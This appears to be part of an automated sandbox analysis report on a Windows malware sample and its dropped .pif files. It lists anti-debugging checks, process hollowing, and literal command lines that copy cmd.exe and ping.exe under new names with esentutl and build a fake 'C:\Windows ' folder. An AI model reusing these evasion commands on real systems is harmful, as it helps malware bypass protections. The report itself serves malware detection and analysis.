Source: yihfsboC.pif, 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0dc18a308c59
Source: yihfsboC.pif, 0000001A.00000002.2533591544.00000000289FA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0dcf44be8900<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028A96000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0de86b2c0ccf<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd12345456dd07<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f1ddc04ff5a<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f6f3c5dd29e<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd114d7c71abd4<
Source: EPTMAcgvNZ.exe, 00000000.00000002.1353822380.00000000007B6000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWNi
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000260FA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0dd94d3b31f7<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd1197e49d4113<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e2c53de666f<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000263C5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd1423a1fed966<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f76f31b176f<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034B53000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0eb3179c3f7f<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd112bbdaca27c<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e633f512fcf<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.0000000026276000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f4082f33a4c<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0ef55334ac8a<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034AF4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e2c5dc4481c<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd11aa88ccb890<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd10ec2ab08ceb<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f5908777d5b<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034AF4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e6f6632ec55<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f08a8cc2626<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f63476ff6d9<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd112726dfdaef<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd12a00e36c4c0<
Source: EPTMAcgvNZ.exe, 00000000.00000002.1353822380.00000000007B6000.00000004.00000020.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1353822380.000000000076E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd12a75cd9b643<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd10047244b21a<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f9b66364c74<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0fe7f7931677<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.0000000026535000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd14c06965d3a2<
Source: yihfsboC.pif, 0000000E.00000002.2534862265.000000002423F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: yihfsboC.pif, 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0ea1aff451e4<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0ede0895058a<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e97064f676e<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e5dbbcfced3<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f2f0420657e<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.0000000026276000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f7f6e69a05f<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd102ad1bb58e8<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0fe461bde220<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd131d191f6227<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034AF4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e3f97e51cd2<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e138cddbc0c<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f82c2b37b8e<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd11703916c344<
Source: xpha.pif, 00000014.00000002.1533592941.0000000002690000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllL
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd106900031a3d<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd10564b4229a8<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd1121e522ff54<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0eab5a499b52<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd105de7de44b5<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f440fe0220d<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0fac6961b0ab<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e2afe1517dc<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0ee23a537a0e<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000263C5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd13bb487a2aa3
Source: yihfsboC.pif, 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e8c046fa382<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.0000000026276000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f14dc5e3fef<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0fb53f2b9fbb<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034ADA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0de89fac7a38<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034ADA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0dfed0e58a0d<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd1220a2538758<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd1275f877ff90<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000260F4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0dc19698755d<
Source: Cobsfhiy.PIF, 00000015.00000002.1462267531.000000000072D000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2538244625.0000000032815000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2529660851.00000000268E2000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd10968007cad7<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0fc80cbc88b2<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028A96000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e000d88a51d<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034AF4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e1651b783f6<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e74ea27430b<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0fc7a70b6000<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e7d2eac84a9<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034AF4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0ea18e3d18a2<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034AF4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e58399bf1a8<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.0000000026276000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f982ba92d5d<
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe API call chain: ExitProcess graph end node
Source: C:\Users\Public\Libraries\yihfsboC.pif API call chain: ExitProcess graph end node
Source: C:\Users\Public\Libraries\yihfsboC.pif API call chain: ExitProcess graph end node
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF API call chain: ExitProcess graph end node
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B2F744 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent, 0_2_02B2F744
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Process queried: DebugPort
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Process queried: DebugPort
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_28DFE660 LdrInitializeThunk,LdrInitializeThunk, 14_2_28DFE660
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 14_2_0040CE09
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,@__unlockDebuggerData$qv,VariantClear,VariantClear,VariantClear, 14_2_004019F0
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B2894C LoadLibraryW,GetProcAddress,FreeLibrary, 0_2_02B2894C
Contains functionality to read the PEB
Source: C:\Users\Public\alpha.pif Code function: 16_2_003BC1FA mov eax, dword ptr fs:[00000030h] 16_2_003BC1FA
Source: C:\Users\Public\alpha.pif Code function: 19_2_003BC1FA mov eax, dword ptr fs:[00000030h] 19_2_003BC1FA
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_0040ADB0 GetProcessHeap,HeapFree, 14_2_0040ADB0
Enables debug privileges
Source: C:\Users\Public\Libraries\yihfsboC.pif Process token adjusted: Debug Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 14_2_0040CE09
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 14_2_0040E61C
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 14_2_00416F6A
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_004123F1 SetUnhandledExceptionFilter, 14_2_004123F1
Source: C:\Users\Public\alpha.pif Code function: 16_2_003A6EC0 SetUnhandledExceptionFilter, 16_2_003A6EC0
Source: C:\Users\Public\alpha.pif Code function: 16_2_003A6B40 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 16_2_003A6B40
Source: C:\Users\Public\alpha.pif Code function: 19_2_003A6EC0 SetUnhandledExceptionFilter, 19_2_003A6EC0
Source: C:\Users\Public\alpha.pif Code function: 19_2_003A6B40 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 19_2_003A6B40
Source: C:\Users\Public\xpha.pif Code function: 20_2_00383600 SetUnhandledExceptionFilter, 20_2_00383600
Source: C:\Users\Public\xpha.pif Code function: 20_2_00383470 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 20_2_00383470
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 23_2_0040CE09
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 23_2_0040E61C
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 23_2_00416F6A
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_004123F1 SetUnhandledExceptionFilter, 23_2_004123F1
Source: C:\Users\Public\Libraries\yihfsboC.pif Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Allocates memory in foreign processes
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Memory allocated: C:\Users\Public\Libraries\yihfsboC.pif base: 400000 protect: page execute and read and write Jump to behavior
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Memory allocated: C:\Users\Public\Libraries\yihfsboC.pif base: 400000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Memory allocated: C:\Users\Public\Libraries\yihfsboC.pif base: 400000 protect: page execute and read and write
Drops or copies cmd.exe with a different name (likely to bypass HIPS)
Source: C:\Windows\SysWOW64\esentutl.exe File created: C:\Users\Public\alpha.pif Jump to dropped file
Sample uses process hollowing technique
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section unmapped: C:\Users\Public\Libraries\yihfsboC.pif base address: 400000 Jump to behavior
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Section unmapped: C:\Users\Public\Libraries\yihfsboC.pif base address: 400000
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Section unmapped: C:\Users\Public\Libraries\yihfsboC.pif base address: 400000
Writes to foreign memory regions
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Memory written: C:\Users\Public\Libraries\yihfsboC.pif base: 3EB008 Jump to behavior
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Memory written: C:\Users\Public\Libraries\yihfsboC.pif base: 2E7008
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Memory written: C:\Users\Public\Libraries\yihfsboC.pif base: 20E008
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Process created: C:\Users\Public\Libraries\yihfsboC.pif C:\Users\Public\Libraries\yihfsboC.pif Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows " Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c del "C:\Users\Public\xpha.pif" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \SysWOW64 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \" Jump to behavior
Source: C:\Users\Public\alpha.pif Process created: C:\Users\Public\xpha.pif C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10 Jump to behavior
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Process created: C:\Users\Public\Libraries\yihfsboC.pif C:\Users\Public\Libraries\yihfsboC.pif
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Process created: C:\Users\Public\Libraries\yihfsboC.pif C:\Users\Public\Libraries\yihfsboC.pif
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA, 0_2_02B15ACC
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: GetLocaleInfoA, 0_2_02B1A7C4
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA, 0_2_02B15BD8
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: GetLocaleInfoA, 0_2_02B1A810
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: GetLocaleInfoA, 14_2_00417A20
Source: C:\Users\Public\alpha.pif Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale, 16_2_00398572
Source: C:\Users\Public\alpha.pif Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,GetDateFormatW,memmove,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,GetLastError,realloc, 16_2_00396854
Source: C:\Users\Public\alpha.pif Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW, 16_2_00399310
Source: C:\Users\Public\alpha.pif Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale, 19_2_00398572
Source: C:\Users\Public\alpha.pif Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,GetDateFormatW,memmove,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,GetLastError,realloc, 19_2_00396854
Source: C:\Users\Public\alpha.pif Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW, 19_2_00399310
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: GetLocaleInfoA, 23_2_00417A20
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA, 24_2_02BC5ACC
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA, 24_2_02BC5BD7
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: GetLocaleInfoA, 24_2_02BCA810
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
